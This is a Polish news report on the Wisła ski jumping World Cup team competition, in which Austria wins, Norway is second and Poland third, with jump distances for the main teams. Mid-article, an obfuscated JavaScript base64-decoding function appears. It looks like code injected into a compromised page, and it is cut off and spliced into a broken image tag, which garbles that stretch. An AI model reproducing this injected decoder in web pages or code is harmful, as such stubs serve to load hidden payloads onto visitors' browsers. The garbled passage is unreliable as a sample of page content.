PŚ Wisła: Austriacy wygrywają inaugurację sezonu, Polacy utrzymali podium [WYNIKI]

Udał się pościg austriackich skoczków, którzy dzięki bardzo dobrym skokom w serii finałowej w Wiśle, wyprzedzili liderujących Polaków. Biało-czerwoni na inaugurację zimowego Pucharu Świata zajęli ostatecznie trzecie miejsce. Lepiej w wykonaniu podopiecznych trenera Doleżala wyglądała pierwsza seria.

O ile pierwsza seria w wykonaniu polskich skoczków zapowiadała, że biało-czerwoni sięgną po drugie drużynowe zwycięstwo w Wiśle z kolei, to finałowa runda wyraźnie nie najlepiej udała się podopiecznym trenera Michala Doleżala. Z każdą próbą nasi skoczkowie tracili coraz więcej punktów względem rywali z Austrii i Norwegii. Ich próby wystarczyły jednak, aby utrzymać się w czołowej trójce i stanąć na najniższym stopniu podium. Warto dodać, że to już 26. pucharowe podium w historii drużynowych konkursów zdobyte przez Polaków.

Najmocniejszym ogniwem w polskiej ekipie był dziś Dawid Kubacki, który skakał 126,5 oraz 120,5 metra. Ostatecznie to właśnie on uzyskał dziś najwyższą notę w całej 40-osobowej stawce. Piotr Żyła (131,0 / 117,0 m) zdecydowanie lepiej spisał się w pierwszej kolejce. Podobnie sytuacja wyglądała w przypadku Jakuba Wolnego (123,5 / 119,0 m) oraz Kamila Stocha (125,5 / 118,0 m).

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0andeJohanssonLindvik_Wisla2019_fot.JagodaBodzianny-300×200.jpg” alt=”Norwegowie (Markeng, Tande, Johansson, Lindvik), fot. Jagoda Bodzianny" width="300" height="200"> Norwegowie (Markeng, Tande, Johansson, Lindvik), fot. Jagoda Bodzianny

Najbardziej zadowoleni z dzisiejszych zmagań na skoczni im. Adama Małysza (HS-134) byli zdecydowanie Austriacy. Na półmetku konkursu zajmowali drugie miejsce ze stratą 11,1 punktu do prowadzących Polaków. Ostatecznie triumfowali uzyskując nad drugą w stawce Norwegią 22,5 punktu przewagi. Wszystko dzięki świetnej postawie szczególnie Stefana Krafta (127,5 / 125,0 m), ponieważ spoglądając na punkty, to właśnie on był najmocniejszym ogniwem ekipy trenera Andreasa Feldera. Świetnie w finale spisali się Philipp Aschenwald (121,0 / 133,0 m) i Daniel Huber (125,0 / 134,0 m). Połowicznie zadowolony ze swojej postawy może być Jan Hoerl (130,0 / 114,0 m).

Po pierwszej rundzie dopiero na piątym miejscu znajdowali się Norwegowie, którzy byli jednymi z najpoważniejszych kandydatów nawet do wygrania konkursu w Wiśle. W finale, podobnie jak Austriacy, poszybowali w górę zarówno na skoczni, jak i w tabeli wyników. Zgodnie z oczekiwaniami ich liderem był Robert Johansson (129,0 / 130,5 m). Solidnie spisali się Daniel Andre Tande (123,0 / 128,5 m) i Marius Lindvik (121,0 / 128,0 m). Poziomem nieco odstawał najmłodszy Thomas Aasen Markeng (120,0 / 118,5 m), jednak i on dołożył cegiełkę do drugiej pozycji "Wikingów".

Tuż za podium rywalizację zakończyli ostatecznie Słoweńcy, którzy jednak pozytywnie zaskoczyli szczególnie w pierwszej rundzie, po której zajmowali "medalową" pozycję. Wśród nich bardzo pozytywnie zaskoczył Anze Lanisek (127,5 / 123,0 m). Niezbyt okazale wypadł zimowy debiut Stefana Horngachera w roli trenera Niemców. Jego podopieczni zajęli dopiero piątą pozycję i nie pomogła nawet bardzo dobra postawa lidera ekipy, Karla Geigera (130,0 / 120,0 m). Do realnej walki o podium nie włączyli się ostatecznie Japończycy, wśród których zabrakło nawet wyraźnego lidera - zdobywca Kryształowej Kuli, Ryoyu Kobayashi, wyglądał dość blado. Dodajmy, że w finałowej ósemce zmieścili się jeszcze Szwajcarzy ze świetnym Killianem Peierem (129,5 / 125,5 m) oraz Finowie, którzy jednak tylko skorzystali z potknięć rywali i dzięki temu zmieścili się w drugiej rundzie.

Zupełnie bezbarwni okazali się Czesi, którzy ostatnich Rosjan wyprzedzili właściwie tylko dlatego, że Mikhail Nazarov został zdyskwalifikowany za nieprzepisowy kombinezon.

Po pierwszym konkursie sezonu 2019/2020 liderami Pucharu Narodów są oczywiście Austriacy (400 pkt), drugie miejsce zajmują Norwegowie (350 pkt), a trzecie Polacy (300 pkt). Pełna klasyfikacja >>>

Już jutro skoczków czeka pierwszy tej zimy indywidualny konkurs Pucharu Świata. Wystąpi w nim ośmiu reprezentantów Polski. Początek zmagań już o godz. 11:30. Wyniki będą dostępne na SkokiPolska.pl. Telewizyjną transmisję przeprowadzą stacje TVP 1, TVP Sport oraz Eurosport 1.

Wyniki pierwszej serii >>>

Końcowe drużynowe wyniki konkursu:

Nieoficjalne indywidualne wyniki konkursu:

Pełne wyniki konkursu >>>

informacja własna